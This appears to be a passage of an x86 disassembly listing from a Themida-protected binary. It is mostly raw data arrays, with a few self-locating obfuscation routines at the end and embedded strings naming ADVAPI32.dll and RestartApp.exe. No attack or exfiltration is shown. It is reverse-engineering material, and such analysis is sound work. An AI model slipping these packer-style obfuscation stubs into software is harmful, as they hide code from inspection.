		dd 13B13985h, 0A7953Fh,	0A5D5AC1Eh, 9AFE3359h, 7C2633Ah
		dd 0EA136CAFh, 3EF0B200h, 5818BAD8h, 5A397816h,	70DB909Fh
		dd 637C8CA1h, 24BC103Dh, 9C1EF3D9h, 38689542h, 4064F9h
		dd 0A9069E93h, 0E2C2F033h, 1047D84Ah, 0AD41DA44h, 0D0F8A716h
		dd 5BC3005Dh, 95223CD9h, 4E002BE5h, 0D350867Ch,	706863A5h
		dd 0A2D4A007h, 0EA3824BCh, 43DA0174h, 8078FB80h, 22963571h
		dd 140AB94h, 856F50E9h,	0D6027F92h, 0A2586872h,	36318098h
		dd 2B8653F1h, 12A0E818h, 0E7C88850h, 0C7C45A00h, 2E8213B8h
		dd 238400C3h, 27FB70E2h, 0F444A560h, 87A7001Ah,	5141BDC7h
		dd 2402DBDFh, 32F1C26Fh, 332C40B5h, 6BCC00B4h, 2B8057AEh
		dd 649C05E3h, 68D73680h, 0C15FB24h, 89504A5Dh, 512C9FF0h
		dd 5560E83Fh, 3AC7D59Bh, 1500F48Ah, 85CBAF0Fh, 0C055206h
		dd 147D01D4h, 59FE402h,	0B8A987h, 6EF92984h, 20A24E03h
		dd 8F51E888h, 0AB72F001h, 34C1051Bh, 28D0020h, 0E19C0D61h
		dd 18514344h, 22E9E400h, 0EE6C865h, 2DD57998h, 0CA67F001h
		dd 1D60847Ch, 0E4A4E342h, 0EE930775h, 0C78AD5B5h, 0FF0DE006h
		dd 0B90AE745h, 0E4182062h, 0C6EBC300h, 143D2465h, 50D93E5Ah
		dd 0FAF2100h, 7474CDBh,	2ED2301h, 0EC1825A1h, 7A51C4h
		dd 0B53959BAh, 523E99FDh, 9FF17F67h, 2A0C28E0h,	77AF3A72h
		dd 236A7609h, 91D62680h, 704F05FEh, 717A384Ch, 0BFA8964Fh
		dd 3AE05500h, 388994CFh, 74117700h, 0F82746F1h,	0F9071185h
		dd 546A0079h, 24AD998Dh, 0F018004Dh, 92F59A51h,	0BF01CE59h
		dd 0F326C9CBh, 0E81109FAh, 853C302Ah, 503AB09h,	0CF08485Dh
		dd 907504ACh, 0F283F333h, 0C047CA0h, 0E2854F59h, 871B5100h
		dd 0EC03E47Eh, 0FAC48ECEh, 1491006Dh, 29D75672h, 0D500E9CAh
		dd 12BCD218h, 1A1A32Ch,	5DC20A31h, 10F0D8F5h, 4C5270Ch
		dd 43224A94h, 735881F8h, 2518A6Ch, 0A247AC83h, 497822F9h
		dd 0EDDF80ABh, 0FE56C732h, 0BF850C5Bh, 0AE3960FBh, 72006A71h
		dd 41634AB5h, 2A6ACBCh,	3EE2F9EAh, 0E8E83B42h, 17031A7Bh
		dd 5AC3277h, 0F961283Dh, 6A550024h, 1C906449h, 0EC008C72h
		dd 3C2CDC6h, 5C71BDFBh,	8DC1949Eh, 0E8208058h, 3D139824h
		dd 1020F933h, 27050D8h,	616F8A7Ch, 0C0C684DFh, 150A1300h
		dd 393DB198h, 0F1270031h, 3ACA4D86h, 0F016B688h, 0C800125Fh
		dd 1C36DA97h, 873E0777h, 0C35052B2h, 80877CD0h,	72942E9Eh
		dd 0C004845Ch, 0EB30773Dh, 0B73F00EAh, 0A785AA32h, 9118B62Bh
		dd 7BF1E003h, 95400AF9h, 40CCE302h, 8C3A3B82h, 35F7B200h
		dd 9EFDE74Dh, 0CCAC0D31h, 0D890A3B5h, 2F046C9Bh, 688A0588h
		dd 284A68A2h, 3B002D20h, 89702B5Dh, 0E8EAF8Bh, 8AC17716h
		dd 0BCAEA320h, 5FC7A24h, 508D4807h, 2D5017E7h, 58597F4Eh
		dd 0C2C1307Ch, 4BCC40D2h, 0EDFFFF01h, 80h, 44E90000h, 33h
		dd 3 dup(0)
		dd 0FC000000h, 8001FCh,	8 dup(0)
		dd 0FF000000h, 0B4FFFFFFh, 0
		dd 23000000h, 0F5005400h, 72E7F4h, 3 dup(0)
		dd 0E9000000h, 77EBA6h,	1Bh dup(0)
		dd 11000000h, 5AAB47h, 7 dup(0)
		dd 0E8000000h, 77E82Fh,	8 dup(0)
		dd 60000000h, 84001241h, 2465D9h, 52000000h, 4B005A77h
		dd 32898Eh, 3 dup(0)
		dd 18000000h, 77E806h, 4 dup(0)
		dd 0CD000000h, 77E776h,	2 dup(0)
		dd 12000000h, 0FFA7F8h,	53000000h, 5A2308D9h, 556028h
		dd 4 dup(0)
		dd 1E000000h, 0BC00BC39h, 0FFFF91h, 2Ch	dup(0)
		dd 79000000h, 5780h, 2 dup(0)
		dd 57000000h, 0FFA7E9h,	3 dup(0)
		dd 7Bh,	5 dup(0)
		dd 16000000h, 0BD73h, 0
		dd 0A8000000h, 5834h, 5	dup(0)
		dd 4000000h, 0C309B9h, 8 dup(0)
		dd 87000000h, 5657A7F5h, 0BBFAh, 6A000000h, 0F077D4C9h
		dd 12FEh, 0
		dd 0CA000000h, 0C9B1h, 5 dup(0)
		dd 91000000h, 436110h, 3 dup(0)
		dd 0F0000000h, 0CA77DD59h, 8691C3h, 3F000000h, 4005418h
		dd 7FFE03h, 2 dup(0)
		dd 4000000h, 0AA7FFE03h, 5B66h,	0FE000000h, 5F727Ch, 49000000h
		dd 138DB9h, 0
		dd 27000000h, 7900540Ch, 8F1A6BFBh, 0DC005B19h,	0CCD4B6h
		dd 7 dup(0)
		dd 0D9000000h, 588F7EFh, 0B4000000h, 579Ah, 0
		dd 8D000000h, 0C13C8Dh,	35000000h, 0E590Eh, 92000000h
		dd 0BB22h, 6 dup(0)
		dd 2C000000h, 9C0057F8h, 2 dup(0)
		dd 8D000000h, 0FFFF8Dh,	0
		dd 44000000h, 3686C3h, 0F000000h, 0BBA0h, 4 dup(0)
		dd 0EA000000h, 8A11Bh, 0
		dd 4D000000h, 0C54D6Dh,	3 dup(0)
		dd 1F000000h, 577Dh, 0
		dd 3B000000h, 3B88C1h, 2 dup(0)
		dd 0A000000h, 0BB8Ch, 0
		dd 9B3AA9h, 4 dup(0)
		dd 27000000h, 4FFFFC8h,	7FFE03h, 0
		dd 0A8000000h, 0
		dd 0AC000000h, 0BD9Bh, 3 dup(0)
		dd 0FC000000h, 5A1Bh, 3E000000h, 981EDBh, 8 dup(0)
		dd 99000000h, 0BB94h, 0Bh dup(0)
		dd 0F5000000h, 0FFEFEDh, 0Bh dup(0)
		dd 4C000000h, 977D80h, 5 dup(0)
		dd 0F2000000h, 5BCFh, 3	dup(0)
		dd 57000000h, 77E7C6h, 0
		dd 68000000h, 0BC15h, 2	dup(0)
		dd 0BC77D400h, 0FE9E99h, 3 dup(0)
		dd 74000000h, 865559h, 8 dup(0)
		dd 57000000h, 840059C4h, 9EAB01h, 4 dup(0)
		dd 2E000000h, 0BB5Eh, 0
		dd 0FC000000h, 11D15Fh,	4 dup(0)
		dd 2B000000h, 7Bh, 2 dup(0)
		dd 0F0000000h, 7F3h, 0
		dd 26200h, 0E2000000h, 24F09h, 49000000h, 23001900h, 5B74h
		dd 0
		dd 24000000h, 0D5B47Bh,	4 dup(0)
		dd 1000000h, 3 dup(0)
		dd 5C000000h, 0FFED00h,	4 dup(0)
		dd 0FF000000h, 0FFFFFFh, 87000000h, 0FFA87Fh, 2	dup(0)
		dd 0CC000000h, 77DD5Eh,	5700h, 2 dup(0)
		dd 68000000h, 77E821h, 3 dup(0)
		dd 8C000000h, 0
		dd 87000000h, 0FFA78Dh,	0
		dd 1000000h, 2 dup(0)
		dd 47000000h, 53F0h, 28h dup(0)
		dd 0AE000000h, 0D5E2FEh, 2 dup(0)
		dd 68000000h, 23Eh, 4DE0h, 18h dup(0)
		dd 6C000000h, 0FFFFA2h,	4 dup(0)
		dd 4000000h, 0Fh, 1000000h, 900BDEh, 2A000000h,	0F3F71E36h
		dd 0E6F34D45h, 8D00BA0Fh, 8Dh, 9 dup(0)
		dd 50000000h, 0F03C5Fh,	0Eh dup(0)
		dd 0A4000000h, 9D000010h, 1FF014h, 64h dup(0)
		dd 54000000h, 77F512h, 0Bh dup(0)
		dd 0B8000000h, 2 dup(0)
		dd 0FE000000h, 685F727Ch, 0B400BC32h, 3F00579Ah, 0FFA7F2h
		dd 3 dup(0)
		dd 0BA000000h, 58A7h, 0Bh dup(0)
		dd 27000000h, 0A7AD7C30h, 57B0h, 2C000000h, 600005Ch, 77E6D7h
		dd 0
		dd 68000000h, 0C4FFFFA2h, 0BB70h, 0
		dd 68000000h, 0F080BA18h, 12FFh, 0
		dd 1069h, 5 dup(0)
		dd 0F0000000h, 7F000000h, 5FD93Dh, 8 dup(0)
		dd 0E2000000h, 24F09h, 0
		dd 5300BA00h, 0BF8Dh, 60000000h, 5725h,	4 dup(0)
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 0FC000000h, 58001FCh, 0A2801h, 0FF000000h, 0C5A5Ch
		dd 13h dup(0)
		dd 0F000000h, 0BBA0h, 0
		dd 0FF000000h, 805BFFh,	0
		dd 54000000h, 12FFh, 4000000h, 7FFE03h,	9 dup(0)
		dd 0E9000000h, 400h, 2 dup(0)
		dd 90000000h, 19000000h, 0B08A410Fh, 70005725h,	0FFFFA2h
		dd 4000000h, 7FFE03h, 8	dup(0)
		dd 0DE000000h, 0BB2Bh, 3 dup(0)
		dd 66027300h, 7200541Eh, 757A8h, 2 dup(0)
		dd 8D000000h, 5732h, 2 dup(0)
		dd 0DD000000h, 0BB69h, 80000000h, 0D3B8h, 2 dup(0)
		dd 51000000h, 18A20Ch, 0E2000000h, 0B30000B5h, 77F7EBh
		dd 5 dup(0)
		dd 9D000000h, 1BDBE1h, 0
		dd 3B000000h, 5300BB3Eh, 0E37158h, 0
		dd 0AC000000h, 2 dup(0)
		dd 94000000h, 4900568Dh, 138DB9h, 38000000h, 3824BD30h
		dd 44DC38h, 3 dup(0)
		dd 0C4000000h, 0
		dd 24000000h, 77FC50h, 5 dup(0)
		dd 2B000000h, 7Bh, 4 dup(0)
		dd 0BA000000h, 58A7h, 13h dup(0)
		dd 0DD0h, 3 dup(0)
		dd 0DF000000h, 0A9C530h, 3 dup(0)
		dd 0CE000000h, 9EF75EE5h, 39CD8Eh, 6 dup(0)
		dd 0BF000000h, 369DE5h,	5 dup(0)
		dd 0B8000000h, 0E002626Ch, 8055E9h, 7 dup(0)
		dd 23000000h, 0E5DF00h,	0Bh dup(0)
		dd 17000000h, 0FFFBFFh,	0B0000000h, 201FBFFh, 2	dup(0)
		dd 14000000h, 0E00h, 3 dup(0)
		dd 0E7000000h, 0BFA5h, 0
		dd 77E600h, 2 dup(0)
		dd 79000000h, 0A9005780h, 596Dh, 0Ah dup(0)
		dd 4D000000h, 0AA0056F8h, 0FFA686h, 9 dup(0)
		dd 8B000000h, 5780h, 3 dup(0)
		dd 0EF000000h, 2977E793h, 5A66h, 4 dup(0)
		dd 200h, 9A000000h, 0BA0Ah, 4 dup(0)
		dd 5C000000h, 7FFE02h, 8 dup(0)
		dd 39000000h, 219151h, 0
		dd 1000000h, 4 dup(0)
		dd 28000000h, 5A7Eh, 2 dup(0)
		dd 27400h, 3 dup(0)
		dd 36000000h, 363636h, 7 dup(0)
		dd 84000000h, 0E89EEF13h, 15000000h, 5809D9h, 0
		dd 0DF000000h, 0A9C530h, 2 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 0D9000000h, 0B000037h, 77F518h, 6 dup(0)
		dd 4000000h, 7FFE03h, 2B000000h, 400007Bh, 7FFE03h, 2 dup(0)
		dd 68000000h, 77E83Eh, 6 dup(0)
		dd 23000000h, 5B74h, 5 dup(0)
		dd 4A02A700h, 548Dh, 3 dup(0)
		dd 79000000h, 5780h, 0
		dd 0B0000000h, 0CA00BB6Ch, 245DA2h, 0Bh	dup(0)
		dd 0D8000000h, 77E805h,	5 dup(0)
		dd 0CE000000h, 0F75EE5h, 5 dup(0)
		dd 0F7000000h, 0BB09h, 2 dup(0)
		dd 0E5000000h, 1026203h, 0A000000h, 5AA7h, 0E8000000h
		dd 1A01h, 4000000h, 450000A6h, 0BB31h, 5C000000h, 1000221h
		dd 0
		dd 0D4000000h, 5AE3h, 2	dup(0)
		dd 0B7000000h, 88h, 2 dup(0)
		dd 380h, 4 dup(0)
		dd 0E3000000h, 0F0FEF1B8h, 7F3h, 2 dup(0)
		dd 54000000h, 0AF005853h, 5E67FEE5h, 7077E7ACh,	5821h
		dd 0
		dd 0E2000000h, 0A80001F3h, 8 dup(0)
		dd 4000000h, 0
		dd 0FF000000h, 1F64E4h,	0
		dd 9000000h, 5809h, 0D8000000h,	0B0000001h, 5 dup(0)
		dd 0DD000000h, 7800BB69h, 0Fh, 3 dup(0)
		dd 2C000000h, 0FFFFA6h,	3 dup(0)
		dd 5B000000h, 3, 3 dup(0)
		dd 0DA000000h, 5931h, 2	dup(0)
		dd 0AE000000h, 5810h, 0
		dd 0DD000000h, 0D500BB69h, 86E00Fh, 2 dup(0)
		dd 54000000h, 12FFh, 3 dup(0)
		dd 27500h, 43000000h, 49575C3Ah, 574F444Eh, 79535C53h
		dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h
		dd 39h dup(0)
		dd 0C6000000h, 0DD9C32h, 84h dup(0)
		dd 1000000h, 0B0000000h, 1F016BFFh, 344734h, 0
		dd 8D000000h, 95F38Dh, 95000000h, 0BF99h, 19000000h, 23B956h
		dd 0
		dd 0F5000000h, 5B76h, 7	dup(0)
		dd 0DF000000h, 21A9C530h, 212121h, 5 dup(0)
		dd 2B000000h, 0
		dd 1000000h, 0DE000000h, 6FFFFEh, 0BA00h, 4 dup(0)
		dd 94000000h, 0FFA778h,	3 dup(0)
		dd 0CF000000h, 0F2FFFFCFh, 57BFh, 0CE000000h, 2626Bh, 5	dup(0)
		dd 0D1000000h, 573188h,	3 dup(0)
		dd 60000000h, 12FFh, 0A7000000h, 41E7FFh, 15h dup(0)
		dd 0A9000000h, 6B16FDh,	9F00D200h, 0A000568Dh, 5BAAFF95h
		dd 2Dh,	5 dup(0)
		dd 50000000h, 0FE4400h,	3 dup(0)
		dd 0B4000000h, 0FFFF90h, 9D000000h, 16B36851h, 0DFF75EE4h
		dd 0A9C530h, 5 dup(0)
		dd 0B0000000h, 0BB6Ch, 3 dup(0)
		dd 89000000h, 0DF8693h,	4 dup(0)
		dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 0B3h dup(0)
		dd 79000000h, 2A005780h, 0B5000000h, 1477E75Ch,	5ACFh
		dd 3 dup(0)
		dd 4000000h, 591Ah, 0
		dd 9A000000h, 77DD18h, 0
		dd 0DE000000h, 0FEF879h, 3 dup(0)
		dd 0A3000000h, 0FFA862h, 5B000000h, 2Dh, 2 dup(0)
		dd 3F000000h, 5857h, 4 dup(0)
		dd 99000000h, 977E7A0h,	93005809h, 9300BB93h, 400BB93h
		dd 7FFE03h, 2 dup(0)
		dd 1000000h, 6F1AFEh, 44000000h, 5A5Ah,	79000000h, 1A6BFBh
		dd 12h dup(0)
		dd 94000000h, 0
		dd 8C000000h, 790057B4h, 5780h,	0
		dd 62000000h, 1EEF9762h, 0AF005AB6h, 0E75DF3h, 0
		dd 0B5000000h, 5A5Ch, 2	dup(0)
		dd 0E0000000h, 0BF0012FFh, 4FAEB5h, 0DA000000h,	981E0Ah
		dd 3 dup(0)
		dd 1000000h, 2 dup(0)
		dd 4000000h, 0A6h, 2 dup(0)
		dd 54000000h, 6000BAD5h, 4A8BD68Bh, 5ACAh, 9 dup(0)
		dd 6F000000h, 53EEh, 2 dup(0)
		dd 0F0000000h, 6DF980h,	30h dup(0)
		dd 0CE000000h, 0F75EE5h, 4 dup(0)
		dd 0E8000000h, 0BC23h, 0
		dd 1000000h, 0
		dd 5D000000h, 579Dh, 4 dup(0)
		dd 2B000000h, 77F51Bh, 0FF000000h, 33FFFFFFh, 2	dup(33333333h)
		dd 0DD333333h, 8200BB69h, 77E78Bh, 7 dup(0)
		dd 6000000h, 596Eh, 8 dup(0)
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 1C20h, 2000000h, 0
		dd 54000000h, 54005844h, 696D6568h, 6164h, 21h dup(0)
		dd 7000000h, 31005723h,	30h, 7 dup(0)
		dd 27300h, 6 dup(0)
		dd 0FC000000h, 0FFA532h, 40000000h, 58E9h, 0
		dd 0DD000000h, 0D77FFEFDh, 2377DD23h, 0FF4496h,	3 dup(0)
		dd 7000000h, 0FFA887h, 1000000h, 7439Bh, 0A000000h, 5790h
		dd 0
		dd 74000000h, 2E005A5Ah, 0F5563Bh, 0C900h, 2 dup(0)
		dd 74000000h, 900BD0h, 9 dup(0)
		dd 91000000h, 5ACFh, 0
		dd 0AD000000h, 0C5h, 4D000000h,	0C54D6Dh, 3 dup(0)
		dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 80h dup(0)
		dd 1000000h, 2 dup(0)
		dd 400h, 2 dup(0)
		dd 0F7000000h, 0F5AFB9h, 30000000h, 0A6h, 4 dup(0)
		dd 0B5000000h, 77E75Ch,	0
		dd 0A000000h, 0FF00BB8Ch, 0F7FFFFh, 37000000h, 68005992h
		dd 23Eh, 5 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 96000000h, 578Fh, 2 dup(0)
		dd 0F1000000h, 5ADEh, 8	dup(0)
		dd 68000000h, 9900BAB1h, 4700BB94h, 53F0h, 0
		dd 0E8000000h, 81000003h, 8Bh, 3 dup(0)
		dd 60000000h, 12FFh, 2 dup(0)
		dd 27000000h, 2400540Ch, 242424h, 0
		dd 0E8000000h, 3700000Ah, 0F900BBA0h, 5778h, 3 dup(0)
		dd 4000000h, 7FFE03h, 5	dup(0)
		dd 27200h, 8 dup(0)
		dd 9000000h, 5809h, 8 dup(0)
		dd 22000000h, 22222222h, 222222h, 4 dup(0)
		dd 4B000000h, 5941h, 0
		dd 0D8000000h, 26004001h, 0C8h,	0
		dd 4000000h, 0Fh, 0Dh dup(0)
		dd 60000000h, 0BC15h, 0
		dd 0F000000h, 0BBA0h, 5	dup(0)
		dd 37000000h, 0FF77E7A8h, 0BBAAh, 0
		dd 89000000h, 5B15h, 0
		dd 2B000000h, 7Bh, 2 dup(0)
		dd 0FE000000h, 5934h, 7	dup(0)
		dd 3C000000h, 1C5h, 1000000h, 0
		dd 2C000000h, 5Ch, 2 dup(0)
		dd 37000000h, 0BB9Ch, 0
		dd 0F8000000h, 5 dup(0)
		dd offset dword_525048+10Bh
		dd 0
		dd 0F9000000h, 40005978h, 76B41Bh, 8 dup(0)
		dd 40000000h, 0A5005427h, 57E8h, 51000000h, 0FE989Dh, 2	dup(0)
		dd 0DD000000h, 0BB69h, 5A000000h, 60556028h, 4501h, 0
		dd 35000000h, 0DA411211h, 387475B8h, 2,	6 dup(0)
		dd 0F8000000h, 0BA00h, 18h dup(0)
		dd 4000000h, 7FFE03h, 2B000000h, 0FC00007Bh, 5929h, 2000000h
		dd 0
		dd 0D8000000h, 0FFA80Bh, 4000000h, 7FFE03h, 44000000h
		dd 77E7A1h, 0BC000000h,	1100581Ah, 5111111h, 0FEFFA756h
		dd 0FE1F64E5h, 0CBA1h, 9000000h, 5809h,	2000000h, 0ED000000h
		dd 5722h, 4000000h, 0FFA725h, 23000000h, 0A1005700h, 6BCB18h
		dd 2 dup(0)
		dd 74000000h, 5D7BC2h, 0E9000000h, 400h, 4010h,	0E2000000h
		dd 8A0FB5h, 5 dup(0)
		dd 0B2000000h, 0F03A0BFEh, 1BBFFh, 0B4000000h, 3F7E55FCh
		dd 400596Eh, 3,	77DD00h, 3 dup(0)
		dd 0FB000000h, 910000ACh, 0CBA850h, 6 dup(0)
		dd 94000000h, 3, 0A3000000h, 5A78h, 2B000000h, 7Bh, 4 dup(0)
		dd 2000000h, 59000000h,	0C47FA99Eh, 430012FFh, 53FFADh
		dd 0
		dd 9A000000h, 16h, 0
		dd 0BD000000h, 0FFAD00h, 70000000h, 53EEh, 3 dup(0)
		dd 0F4000000h, 0E64374h, 2 dup(0)
		dd 0B1000000h, 0FFFFFFh, 34000000h, 14h, 3 dup(0)
		dd 36000000h, 5423h, 5 dup(0)
		dd 30000000h, 0A6h, 3 dup(0)
		dd 97000000h, 5A7Ch, 4 dup(0)
		dd 56000000h, 49005979h, 6C138DB9h, 0FFFFA2h, 37000000h
		dd 77E7A8h, 3 dup(0)
		dd 6A000000h, 5977D4C9h, 0BE1800h, 2 dup(0)
		dd 2B000000h, 77F51Bh, 39000000h, 0F0000000h, 57BDh, 0
		dd 37000000h, 77E7A8h, 6 dup(0)
		dd 79000000h, 4005780h,	7FFE03h, 0DD000000h, 0BB69h, 2 dup(0)
		dd 0FC000000h, 8001FCh,	7 dup(0)
		dd 26000000h, 0C8h, 1069h, 0FC000000h, 0FFFFFCh, 0
		dd 99000000h, 0CF00BB94h, 144F2Bh, 0B5000000h, 77E75Ch
		dd 4 dup(0)
		dd 66000000h, 541Eh, 3 dup(0)
		dd 5D000000h, 0A02A707h, 0BB8Ch, 0Dh dup(0)
		dd 37000000h, 75BE78h, 0AC000000h, 0E200005Ah, 0B5h, 3 dup(0)
		dd 70000000h, 70h, 8 dup(0)
		dd 0C0000000h, 0D6BA66h, 6 dup(0)
		dd 2B000000h, 0AC00007Bh, 0FFED00h, 0FE000000h,	0D15F727Ch
		dd 7, 9	dup(0)
		dd 0DD000000h, 0BB69h, 0Ch dup(0)
		dd 0F9000000h, 47000078h, 0FEE8C0h, 3 dup(0)
		dd 0AC000000h, 0FFFF5Bh, 0
		dd 0BD000000h, 82EC04h,	2 dup(0)
		dd 5600h, 3 dup(0)
		dd 0FD000000h, 777FFFh,	2 dup(0)
		dd 5F000000h, 82005B3Fh, 177E78Bh, 0Ah dup(0)
		dd 36000000h, 56A0h, 0
		dd 0EF000000h, 264EEh, 1Bh dup(0)
		dd 4000000h, 88000000h,	0FFFF96h, 68000000h, 0FFFFA2h
		dd 3 dup(0)
		dd 82000000h, 29546CDAh, 2700009Ch, 0FD00000Ch,	77E7A5h
		dd 4 dup(0)
		dd 88000000h, 5725h, 0
		dd 8000000h, 0C41321h, 7 dup(0)
		dd 0A0000000h, 3, 0
		dd 0FFEF97h, 0Dh dup(0)
		dd 0A0000000h, 4 dup(0)
		dd 3F000000h, 77E7A1h, 0F8000000h, 0BA00h, 2 dup(0)
		dd 477F500h, 7FFE03h, 24000000h, 77FC50h, 6 dup(0)
		dd 68000000h, 5795h, 5 dup(0)
		dd 0B2000000h, 4CEE73h,	70000000h, 0FE2D79h, 3 dup(0)
		dd 8B000000h, 6861C0h, 0
		dd 0FE000000h, 0F75E09h, 0
		dd 4000000h, 7FFE03h, 56000000h, 5979h,	5 dup(0)
		dd 34000000h, 0BB92h, 5	dup(0)
		dd 0A4000000h, 3 dup(0)
		dd 0E8000000h, 4466Ch, 0
		dd 0FE000000h, 78FFFFFFh, 576A79h, 8 dup(0)
		dd 4B000000h, 0F499087Dh, 7900009Ah, 0F1A6BFBh,	0BBA0h
		dd 1000000h, 6 dup(0)
		dd 2A000000h, 5152D7h, 0E0000000h, 98000000h, 0D4000000h
		dd 5AE3h, 6 dup(0)
		dd 0AC000000h, 51FFED00h, 26E03Eh, 3 dup(0)
		dd 0C000000h, 25C00h, 10000000h, 84h, 86000000h, 77E7C4h
		dd 2 dup(0)
		dd 8D000000h, 805B8Dh, 0C8000000h, 8100005Ch, 634DA19Fh
		dd 77E779h, 0DB000000h,	350EA3h, 3F000000h, 0FFA7F2h, 0B0000000h
		dd 8001ABFFh, 0Eh, 18000000h, 0A4825A44h, 0F70012FFh, 0F5AFB9h
		dd 9000000h, 0A5046h, 0
		dd 64000000h, 5935h, 25C00h, 0E3000000h, 0AD3B0h, 0
		dd 0E7000000h, 0FB003F00h, 535F37h, 1Dh	dup(0)
		dd 0FF000000h, 0FFFFFFh, 0
		dd 3D000000h, 4112BFh, 0F000000h, 77F52Eh, 4000000h, 7FFE03h
		dd 2B000000h, 77F51Bh, 3 dup(0)
		dd 0F1000000h, 0FF445Fh, 3 dup(0)
		dd 0F000000h, 4FFA521h,	0D87FFE03h, 0BD7Fh, 2 dup(0)
		dd 4E000000h, 85350Dh, 0
		dd 3CCh, 55000000h, 48D05AAEh, 4A3455h,	3 dup(0)
		dd 5C000000h, 0FFED00h,	3 dup(0)
		dd 58000000h, 59B6h, 3 dup(0)
		dd 7A000000h, 0BB8169h,	9 dup(0)
		dd 88000000h, 68000000h, 2FFFFA2h, 3 dup(0)
		dd 0F4000000h, 5B000000h, 3D00BB91h, 0AEh, 0Dh dup(0)
		dd 0B0000000h, 0FFh, 4 dup(0)
		dd 81000000h, 5807h, 2 dup(0)
		dd 2B000000h, 7900007Bh, 1A6BFBh, 4 dup(0)
		dd 0D3000000h, 6003AA0Fh, 0FFA871h, 6 dup(0)
		dd 4000000h, 7FFE03h, 8	dup(0)
		dd 0AC000000h, 0BD9Bh, 3 dup(0)
		dd 0FC000000h, 8001FCh,	72000000h, 58C9h, 10h, 3 dup(0)
		dd 0D1000000h, 3400597Ah, 0B500BDB1h, 75h, 4000000h, 67FFE03h
		dd 5 dup(0)
		dd 0DD000000h, 0BB69h, 0BB000000h, 77E7FAh, 2 dup(0)
		dd 1000000h, 0C9000000h, 191C25C0h, 50000000h, 377CEDh
		dd 4 dup(0)
		dd 33000000h, 0FFFE0Eh,	65000000h, 259655h, 5 dup(0)
		dd 4C000000h, 2	dup(0)
		dd 60000000h, 0BC15h, 0D2000000h, 6, 7 dup(0)
		dd 33000000h, 881889h, 0
		dd 44000000h, 77E7A1h, 0C0000000h, 38000000h, 41D5h, 2 dup(0)
		dd 26000000h, 0EEA48Fh,	0
		dd 91000000h, 5AA5h, 2Ah dup(0)
		dd 3B000000h, 53F6h, 12h dup(0)
		dd 2B000000h, 7Bh, 2 dup(0)
		dd 7Bh,	3 dup(0)
		dd 4000000h, 0
		dd 10000000h, 0FFFFFFh,	2 dup(0)
		dd 4000h, 5 dup(0)
		dd 30000000h, 312D34h, 2 dup(0)
		dd 0F9000000h, 5778h, 0F000000h, 5A90h,	0Bh dup(0)
		dd 48000000h, 0FFA670h,	64000000h, 0BC15h, 2 dup(0)
		dd 3B000000h, 0EFCE3Dh,	0B8000000h, 0
		dd 374C00Bh, 8B0018C2h,	530C2444h, 0E8h, 0C3815B00h, 17h
		dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF00BBh, 424448Bh
		dd 0E0FFh, 12h dup(0)
		dd 60000000h, 12FFh, 0
		dd 4000000h, 7FFE03h, 0DC000000h, 0FFFFA2h, 79000000h
		dd 5780h, 0
		dd 0CC000000h, 0BCFEF893h, 8 dup(0)
		dd 0B8000000h, 473B95h,	8B000000h, 60D48BC5h, 0E8h, 0ED815D00h
		dd 9353353h, 26899589h,	0B5890935h, 9351049h, 0AF98589h
		dd 0BD830935h, 9350315h, 8B0C7400h, 0B8E28BE8h,	1, 8B000CC2h
		dd 89242444h, 352DD185h, 0E8456A09h, 0A3h, 83749A68h, 0DFE807h
		dd 25680000h, 0E80A894Bh, 0D5h,	214E9h,	47464500h, 4B4A4948h
		dd 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h, 5F5E5D5Ch
		dd 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h, 87868584h
		dd 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h, 9B9A9998h
		dd 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh
		dd 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h
		dd 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 9353441h
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0


loc_541A1F:				; CODE XREF: Themida_:00541A3Cj
		mov	eax, [ebp-28h]
		inc	eax
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 80h
		jz	short loc_541A3E
		mov	eax, [ebp+8]
		mov	[ebx+93533ABh],	eax
		inc	dword ptr [ebp+8]
		inc	ebx
		jmp	short loc_541A1F
; ---------------------------------------------------------------------------


loc_541A3E:				; CODE XREF: Themida_:00541A2Dj
		mov	[ebp-24h], eax
		popa
		mov	eax, [ebp-24h]
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 935348Ah
		lea	eax, [ebp-80h]
		mov	ebx, [ebp+8]
		mov	dword ptr [ebp-84h], 0


loc_541A6F:				; CODE XREF: Themida_:00541A8Aj
		mov	ecx, [ebp-84h]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp-84h], ecx
		cmp	dword ptr [ebp-84h], 80h
		jnz	short loc_541A6F
		mov	dword ptr [ebp-84h], 0
		lea	edi, [edx+93533ABh]
		lea	esi, [ebp-80h]


loc_541A9F:				; CODE XREF: Themida_:00541ACCj
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_541AAB:				; CODE XREF: Themida_:00541AB2j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_541AAB
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp-84h]
		inc	ecx
		mov	[ebp-84h], ecx
		cmp	ecx, 80h
		jnz	short loc_541A9F
		popa
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_541AE9
; ---------------------------------------------------------------------------


